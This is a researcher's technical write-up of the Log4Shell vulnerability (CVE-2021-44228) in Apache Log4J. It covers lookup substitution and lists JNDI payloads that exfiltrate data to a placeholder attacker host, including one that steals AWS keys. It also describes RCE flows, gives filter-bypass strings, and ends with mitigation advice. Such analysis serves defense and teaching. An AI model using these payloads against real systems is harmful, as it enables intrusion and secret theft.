This page describes some of my digging into CVE-2021-44228 - Remote Code Execution in Apache Log4J <= 2.14.x. This vulnerability arises during the logging of
user-provided data, allowing certain malicious strings to trigger network calls and remote code execution among other vulnerabilities. This page aims to document
my knowledge of these vectors and vulnerabilities. In short we will be trying to see how we can exploit something like logger.info("User said [" + userInput + "]").
Log4J Background
About Lookups
Log4J provides Lookups in order to allow logging statements to write out metadata at runtime. A developer may for example use this behavior to log the date without having to manually construct the log string. The could do this by setting their logger configuration to look something like the following.
<pattern>$${date:MM-dd-yyyy} %m%n</pattern>
Whilst the above cannot be controlled by a user (being defined in configuration), Log4J versions <= 2.14.x also support similar statements being placed in code (Appendix 1). This may look something like
logger.info("${date:MM-dd-yyyy} Why do the docs use American dates?");
// Logs: 12-10-2021 Why do the docs use American dates?
Many of lookups provide us with useful gadgets to leak information and bypass filters. Chief among these is the ${jndi:...} lookup, which, by leveraging jndi protocols, allows us
to make network calls to exfiltrate information, kick-off de-serialization chains for remote code execution, and leak application configuration.
Property Substitution
- Lookups can be resolved recursively inside out.
${lo${lower:w${up${upper:P}er:e}}r:HELLOWORLD} == ${lo${lower:w${upPer:e}}r:HELLOWORLD} == ${lo${lower:we}r:HELLOWORLD} == ${lower:HELLOWORLD} Logs: helloworld - Lookup types are case-insensitive
${LoWeR:HELLOWORLD} Logs: helloworld - Lookups can be concatenated
${${lower:UPPER:}${upper:helloworld}} == ${upper:helloworld} Logs: HELLOWORLD - Lookups are logged literally if they encounter an error condition
${env:NO_SUCH_VAR} Logs: ${env:NO_SUCH_VAR} - Lookups can default if they encounter an error condition
${ctx:doesntExist:-hello} Logs: hello ${noSuchType:-world} Logs: world
Vulnerabilities
Preface: Exfiltration
We will rely on the ${jndi:ldap://...} lookup as a primitive for exfiltration. We will leverage the ability
of lookups being concatenated in order to append victim information to a network call. This can either be done by appending
data to the url, or by utilizing it in a DNS lookup.
In URL: ${jndi:ldap://attacker.example.com:1389/${date:ddMMyyyy}}
In DNS: ${jndi:ldap://${date:ddMMyyyy}.example.com:1389/}
Discovery
Vulnerable targets can be identified by sending a simple exfiltration payload (such as the date one above). If the payload produces a hit on the attacker's server then there is likely a vulnerability. A simple initial exploration payload could look something like
${jndi:ldap://attacker.example.com:1389/victim/${date:ddMMyyyy}/${docker.containerName:-nodocker}/${kubernetes.accountName:-nok8}/${java:runtime}/${sys:user.name}/${main:0:-nocliargs}}
Information Disclosure
Most substitutable values provide meaningful information about the host server. This includes data such as environmental variables, java configuration, and execution environment among others. A List of substitutable values can be found in the Lookups and Property Substitution docs.
Some interesting values are listed here.
| Payload | Description |
|---|---|
${env:ENV_VAR} | Any environmental variable |
${java:runtime} | The Java runtime version |
${java:vm} | The Java VM version |
${java:os} | The host OS version |
${main:0}, ${main:1} ... | CLI Args passed to the application |
${hostName} | Hostname of the host |
Stealing Secrets
Given that we can access environmental variables via ${env:ENV_VAR} this opens the door to stealing secrets. For example, the following can be used to steal AWS secret keys.
${jndi:ldap://attacker.example.com:1389/${env:AWS_ACCESS_KEY_ID}/${env:AWS_SECRET_ACCESS_KEY}}
Remote Code Execution (JNDI injection)
JNDI injection can be used in order to run arbitrary java code in the scope of the application. This technique involves convincing a java application to pull a class from a remote server
and including it in the running application. This does however require that the com.sun.jndi.(ldap/rmi).object.trustURLCodebase flag be set to true, which is not the case by default.
Victim Attacker
| <-- 1. ${jndi:ldap://...} -- | 1. Attacker sends payload
| |
| --- 2. ldap request -------> | 2. Victim makes LDAP request
| |
| <-- 3. ResourceRef --------- | 3. Attacker LDAP server tells victim to
| | fetch data elsewhere
| --- 4. HTTP Request -------> | 4. Victim makes a request to fetch data
| |
| <-- 5. Class file ---------- | 5. Attack returns a malicious class file
| | which is included into code
| 6. RCE Popped |
In the case that trustURLCodebase is false, the server will not load the ResourceRef.
Remote Code Execution (Deserialization)
Deserialization involves using jndi's RMI wrapper to make a dummy call to an attacker controlled server. As the rmi protocol communicates using java serialization it is then possible
to trigger a deserialization vulnerability by returning a malicious serialized object. As with standard deserialization attacks, gadgets must be present in the target's environment in order
to leverage the deserialization. Common libraries such as hibernate have adequate gadgets to execute code.
Victim Attacker
| <-- 1. ${jndi:rmi://...} --- | 1. Attacker sends payload
| |
| --- 2. rmi call -----------> | 2. Victim makes RMI call request
| |
| <-- 3. Serialized Payload -- | 3. Attacker sends a response which
| | contains a malicious serialized object
| 4. RCE Popped |
Filter Bypasses
By chaining ${...} properties it becomes trivially possible to bypass naive filters.
Some examples
| Payload | Description |
|---|---|
${jNdI} | Simple /jndi/ filter |
${j${lower:N}di} | Simple /jndi/i filter |
${j${env:XXX:-n}di} | Simple /jndi/i filter |
${j${env:XXX:-}ndi} | Simple /jndi/i filter |
${j${invalid:-n}di} | Simple /jndi\|env\|lower\|upper/i filter |
${${ctx:myPayload}} | If you are able to place input into ThreadContext |
$, {env:USER} | E.g. logger.info(userInput1+userInput2) |
${${env:X:-}jndi:ldap://...} | Canary, request is only made if X is set |
Log4j also has a ${base64:base64EncodedString} property, however I have not been able to get this to work.
Mitigation
- Upgrade to Log4J 2.15.0 AND ensure that lookup behavior is disabled (this is the case by default)
- Set
formatMsgNoLookups=trueto disable lookup behavior - Disabling
trustURLCodebaseis not adequate to prevent RCE
Tools
I've published helper scripts, vulnerable applications, and sample exploits at uint0/cve-2021-44228-helpers. This includes
- Echo app for testing inputs
- LDAP exfiltration listener
- Vulnerable Spring + Hibernate application + RMI Deserialization exploit
- Vulnerable echo app + jndi injection exploit
feihong-cs/JNDIExploit and veracode-research/rogue-jndi are useful for jndi injection exploits.
frohoff/ysoserial contains many useful deserialization exploits.
Appendix
Lookups / JNDI Lookups in Log4J >= 2.15.x
Lookups are opt-in in 2.15.x and require the user to specify a %msg{lookup} formatter in their config. Additionally
LDAP JNDI lookups have had their scope restricted to a set of allowed hosts. From the 2.15.0 Release Notes
Prior to this release Log4j would automatically resolve Lookups contained in the message or its parameters in the Pattern Layout. Thisbehavior is no longer the default and must be enabled by specifying %msg{lookup}.
The JNDI Lookup has been restricted to only support the java, ldap, and ldaps protocols by default. LDAP also no longer supports classes that implement the Referenceable interface and restricts the Serializable classes to the Java primative classes by default and requires an allow list to be specified to access remote LDAP servers.
References
Log4j Lookups: https://logging.apache.org/log4j/2.x/manual/lookups.html
Log4j Property Substitution: https://logging.apache.org/log4j/2.x/manual/configuration.html#PropertySubstitution
Log4J 2.15.x release notes: https://github.com/apache/logging-log4j2/blob/rel/2.15.0/RELEASE-NOTES.md